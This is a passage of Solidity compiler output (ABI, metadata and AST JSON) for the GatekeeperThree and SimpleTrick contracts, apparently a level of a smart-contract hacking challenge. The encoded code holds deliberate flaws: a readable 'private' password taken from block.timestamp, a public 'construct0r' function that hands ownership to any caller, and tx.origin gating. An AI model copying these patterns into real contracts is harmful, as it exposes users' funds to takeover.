GatekeeperThree\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"trick\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"trickInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"trickyTrick\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GatekeeperThree.sol\":\"SimpleTrick\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/GatekeeperThree.sol\":{\"keccak256\":\"0x4de27d7258584b756d8b80426b809f06342c1563140841074e09df9c0500ad67\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f028804d6f3cbf63d4116b27cc1bc24c6e85d7699a7b4aa80a956d7725f70da5\",\"dweb:/ipfs/QmWApv9aSZwPx95z85E11SQRnE4R5jB7tEqWDYiyxhfV7P\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address payable","name":"_target","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"_password","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"checkPassword","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"target","outputs":[{"internalType":"contract GatekeeperThree","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"trick","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"trickInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"trickyTrick"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GatekeeperThree.sol":"SimpleTrick"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/GatekeeperThree.sol":{"keccak256":"0x4de27d7258584b756d8b80426b809f06342c1563140841074e09df9c0500ad67","urls":["bzz-raw://f028804d6f3cbf63d4116b27cc1bc24c6e85d7699a7b4aa80a956d7725f70da5","dweb:/ipfs/QmWApv9aSZwPx95z85E11SQRnE4R5jB7tEqWDYiyxhfV7P"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GatekeeperThree.sol","id":52871,"exportedSymbols":{"GatekeeperThree":[52870],"SimpleTrick":[52742]},"nodeType":"SourceUnit","src":"32:1674:83","nodes":[{"id":52661,"nodeType":"PragmaDirective","src":"32:23:83","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52742,"nodeType":"ContractDefinition","src":"57:670:83","nodes":[{"id":52664,"nodeType":"VariableDeclaration","src":"84:29:83","nodes":[],"constant":false,"functionSelector":"d4b83992","mutability":"mutable","name":"target","nameLocation":"107:6:83","scope":52742,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"},"typeName":{"id":52663,"nodeType":"UserDefinedTypeName","pathNode":{"id":52662,"name":"GatekeeperThree","nameLocations":["84:15:83"],"nodeType":"IdentifierPath","referencedDeclaration":52870,"src":"84:15:83"},"referencedDeclaration":52870,"src":"84:15:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"visibility":"public"},{"id":52666,"nodeType":"VariableDeclaration","src":"119:20:83","nodes":[],"constant":false,"functionSelector":"690da2b2","mutability":"mutable","name":"trick","nameLocation":"134:5:83","scope":52742,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52665,"name":"address","nodeType":"ElementaryTypeName","src":"119:7:83","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":52670,"nodeType":"VariableDeclaration","src":"145:42:83","nodes":[],"constant":false,"mutability":"mutable","name":"password","nameLocation":"161:8:83","scope":52742,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52667,"name":"uint256","nodeType":"ElementaryTypeName","src":"145:7:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"expression":{"id":52668,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"172:5:83","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":52669,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"178:9:83","memberName":"timestamp","nodeType":"MemberAccess","src":"172:15:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"private"},{"id":52682,"nodeType":"FunctionDefinition","src":"194:87:83","nodes":[],"body":{"id":52681,"nodeType":"Block","src":"231:50:83","nodes":[],"statements":[{"expression":{"id":52679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52675,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52664,"src":"241:6:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":52677,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52672,"src":"266:7:83","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":52676,"name":"GatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52870,"src":"250:15:83","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GatekeeperThree_$52870_$","typeString":"type(contract GatekeeperThree)"}},"id":52678,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"250:24:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"src":"241:33:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"id":52680,"nodeType":"ExpressionStatement","src":"241:33:83"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":52673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52672,"mutability":"mutable","name":"_target","nameLocation":"222:7:83","nodeType":"VariableDeclaration","scope":52682,"src":"206:23:83","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":52671,"name":"address","nodeType":"ElementaryTypeName","src":"206:15:83","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"205:25:83"},"returnParameters":{"id":52674,"nodeType":"ParameterList","parameters":[],"src":"231:0:83"},"scope":52742,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52704,"nodeType":"FunctionDefinition","src":"287:201:83","nodes":[],"body":{"id":52703,"nodeType":"Block","src":"351:137:83","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52691,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":52689,"name":"_password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52684,"src":"365:9:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":52690,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52670,"src":"378:8:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"365:21:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52695,"nodeType":"IfStatement","src":"361:63:83","trueBody":{"id":52694,"nodeType":"Block","src":"388:36:83","statements":[{"expression":{"hexValue":"74727565","id":52692,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"409:4:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":52688,"id":52693,"nodeType":"Return","src":"402:11:83"}]}},{"expression":{"id":52699,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52696,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52670,"src":"433:8:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":52697,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"444:5:83","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":52698,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"450:9:83","memberName":"timestamp","nodeType":"MemberAccess","src":"444:15:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"433:26:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":52700,"nodeType":"ExpressionStatement","src":"433:26:83"},{"expression":{"hexValue":"66616c7365","id":52701,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"476:5:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":52688,"id":52702,"nodeType":"Return","src":"469:12:83"}]},"functionSelector":"9e4b2e47","implemented":true,"kind":"function","modifiers":[],"name":"checkPassword","nameLocation":"296:13:83","parameters":{"id":52685,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52684,"mutability":"mutable","name":"_password","nameLocation":"318:9:83","nodeType":"VariableDeclaration","scope":52704,"src":"310:17:83","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52683,"name":"uint256","nodeType":"ElementaryTypeName","src":"310:7:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"309:19:83"},"returnParameters":{"id":52688,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52687,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52704,"src":"345:4:83","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52686,"name":"bool","nodeType":"ElementaryTypeName","src":"345:4:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"344:6:83"},"scope":52742,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52715,"nodeType":"FunctionDefinition","src":"494:66:83","nodes":[],"body":{"id":52714,"nodeType":"Block","src":"522:38:83","nodes":[],"statements":[{"expression":{"id":52712,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52707,"name":"trick","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52666,"src":"532:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":52710,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"548:4:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}],"id":52709,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"540:7:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52708,"name":"address","nodeType":"ElementaryTypeName","src":"540:7:83","typeDescriptions":{}}},"id":52711,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"540:13:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"532:21:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52713,"nodeType":"ExpressionStatement","src":"532:21:83"}]},"functionSelector":"4cbb817f","implemented":true,"kind":"function","modifiers":[],"name":"trickInit","nameLocation":"503:9:83","parameters":{"id":52705,"nodeType":"ParameterList","parameters":[],"src":"512:2:83"},"returnParameters":{"id":52706,"nodeType":"ParameterList","parameters":[],"src":"522:0:83"},"scope":52742,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52741,"nodeType":"FunctionDefinition","src":"566:159:83","nodes":[],"body":{"id":52740,"nodeType":"Block","src":"596:129:83","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":52731,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52724,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":52720,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"618:4:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}],"id":52719,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"610:7:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52718,"name":"address","nodeType":"ElementaryTypeName","src":"610:7:83","typeDescriptions":{}}},"id":52721,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"610:13:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":52722,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"627:3:83","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52723,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"631:6:83","memberName":"sender","nodeType":"MemberAccess","src":"627:10:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"610:27:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52730,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":52727,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"649:4:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}],"id":52726,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"641:7:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52725,"name":"address","nodeType":"ElementaryTypeName","src":"641:7:83","typeDescriptions":{}}},"id":52728,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"641:13:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":52729,"name":"trick","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52666,"src":"658:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"641:22:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"610:53:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52739,"nodeType":"IfStatement","src":"606:113:83","trueBody":{"id":52738,"nodeType":"Block","src":"665:54:83","statements":[{"expression":{"arguments":[{"id":52735,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52670,"src":"699:8:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":52732,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52664,"src":"679:6:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"id":52734,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"686:12:83","memberName":"getAllowance","nodeType":"MemberAccess","referencedDeclaration":52827,"src":"679:19:83","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":52736,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"679:29:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52737,"nodeType":"ExpressionStatement","src":"679:29:83"}]}}]},"functionSelector":"b7e00291","implemented":true,"kind":"function","modifiers":[],"name":"trickyTrick","nameLocation":"575:11:83","parameters":{"id":52716,"nodeType":"ParameterList","parameters":[],"src":"586:2:83"},"returnParameters":{"id":52717,"nodeType":"ParameterList","parameters":[],"src":"596:0:83"},"scope":52742,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"SimpleTrick","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52742],"name":"SimpleTrick","nameLocation":"66:11:83","scope":52871,"usedErrors":[],"usedEvents":[]},{"id":52870,"nodeType":"ContractDefinition","src":"729:976:83","nodes":[{"id":52744,"nodeType":"VariableDeclaration","src":"760:20:83","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"775:5:83","scope":52870,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52743,"name":"address","nodeType":"ElementaryTypeName","src":"760:7:83","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":52746,"nodeType":"VariableDeclaration","src":"786:22:83","nodes":[],"constant":false,"functionSelector":"9db31d77","mutability":"mutable","name":"entrant","nameLocation":"801:7:83","scope":52870,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52745,"name":"address","nodeType":"ElementaryTypeName","src":"786:7:83","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":52748,"nodeType":"VariableDeclaration","src":"814:25:83","nodes":[],"constant":false,"functionSelector":"0c3d9fed","mutability":"mutable","name":"allowEntrance","nameLocation":"826:13:83","scope":52870,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52747,"name":"bool","nodeType":"ElementaryTypeName","src":"814:4:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"public"},{"id":52751,"nodeType":"VariableDeclaration","src":"846:24:83","nodes":[],"constant":false,"functionSelector":"690da2b2","mutability":"mutable","name":"trick","nameLocation":"865:5:83","scope":52870,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"},"typeName":{"id":52750,"nodeType":"UserDefinedTypeName","pathNode":{"id":52749,"name":"SimpleTrick","nameLocations":["846:11:83"],"nodeType":"IdentifierPath","referencedDeclaration":52742,"src":"846:11:83"},"referencedDeclaration":52742,"src":"846:11:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"visibility":"public"},{"id":52760,"nodeType":"FunctionDefinition","src":"877:65:83","nodes":[],"body":{"id":52759,"nodeType":"Block","src":"907:35:83","nodes":[],"statements":[{"expression":{"id":52757,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52754,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52744,"src":"917:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":52755,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"925:3:83","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"929:6:83","memberName":"sender","nodeType":"MemberAccess","src":"925:10:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"917:18:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52758,"nodeType":"ExpressionStatement","src":"917:18:83"}]},"functionSelector":"b9966e56","implemented":true,"kind":"function","modifiers":[],"name":"construct0r","nameLocation":"886:11:83","parameters":{"id":52752,"nodeType":"ParameterList","parameters":[],"src":"897:2:83"},"returnParameters":{"id":52753,"nodeType":"ParameterList","parameters":[],"src":"907:0:83"},"scope":52870,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52778,"nodeType":"ModifierDefinition","src":"948:112:83","nodes":[],"body":{"id":52777,"nodeType":"Block","src":"967:93:83","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":52763,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"985:3:83","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"989:6:83","memberName":"sender","nodeType":"MemberAccess","src":"985:10:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":52765,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52744,"src":"999:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"985:19:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52762,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"977:7:83","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52767,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"977:28:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52768,"nodeType":"ExpressionStatement","src":"977:28:83"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52773,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":52770,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"1023:2:83","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":52771,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1026:6:83","memberName":"origin","nodeType":"MemberAccess","src":"1023:9:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":52772,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52744,"src":"1036:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1023:18:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52769,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1015:7:83","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52774,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1015:27:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52775,"nodeType":"ExpressionStatement","src":"1015:27:83"},{"id":52776,"nodeType":"PlaceholderStatement","src":"1052:1:83"}]},"name":"gateOne","nameLocation":"957:7:83","parameters":{"id":52761,"nodeType":"ParameterList","parameters":[],"src":"964:2:83"},"virtual":false,"visibility":"internal"},{"id":52788,"nodeType":"ModifierDefinition","src":"1066:77:83","nodes":[],"body":{"id":52787,"nodeType":"Block","src":"1085:58:83","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":52783,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":52781,"name":"allowEntrance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52748,"src":"1103:13:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"74727565","id":52782,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1120:4:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"1103:21:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52780,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1095:7:83","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52784,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1095:30:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52785,"nodeType":"ExpressionStatement","src":"1095:30:83"},{"id":52786,"nodeType":"PlaceholderStatement","src":"1135:1:83"}]},"name":"gateTwo","nameLocation":"1075:7:83","parameters":{"id":52779,"nodeType":"ParameterList","parameters":[],"src":"1082:2:83"},"virtual":false,"visibility":"internal"},{"id":52811,"nodeType":"ModifierDefinition","src":"1149:149:83","nodes":[],"body":{"id":52810,"nodeType":"Block","src":"1170:128:83","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":52806,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52796,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":52792,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1192:4:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract 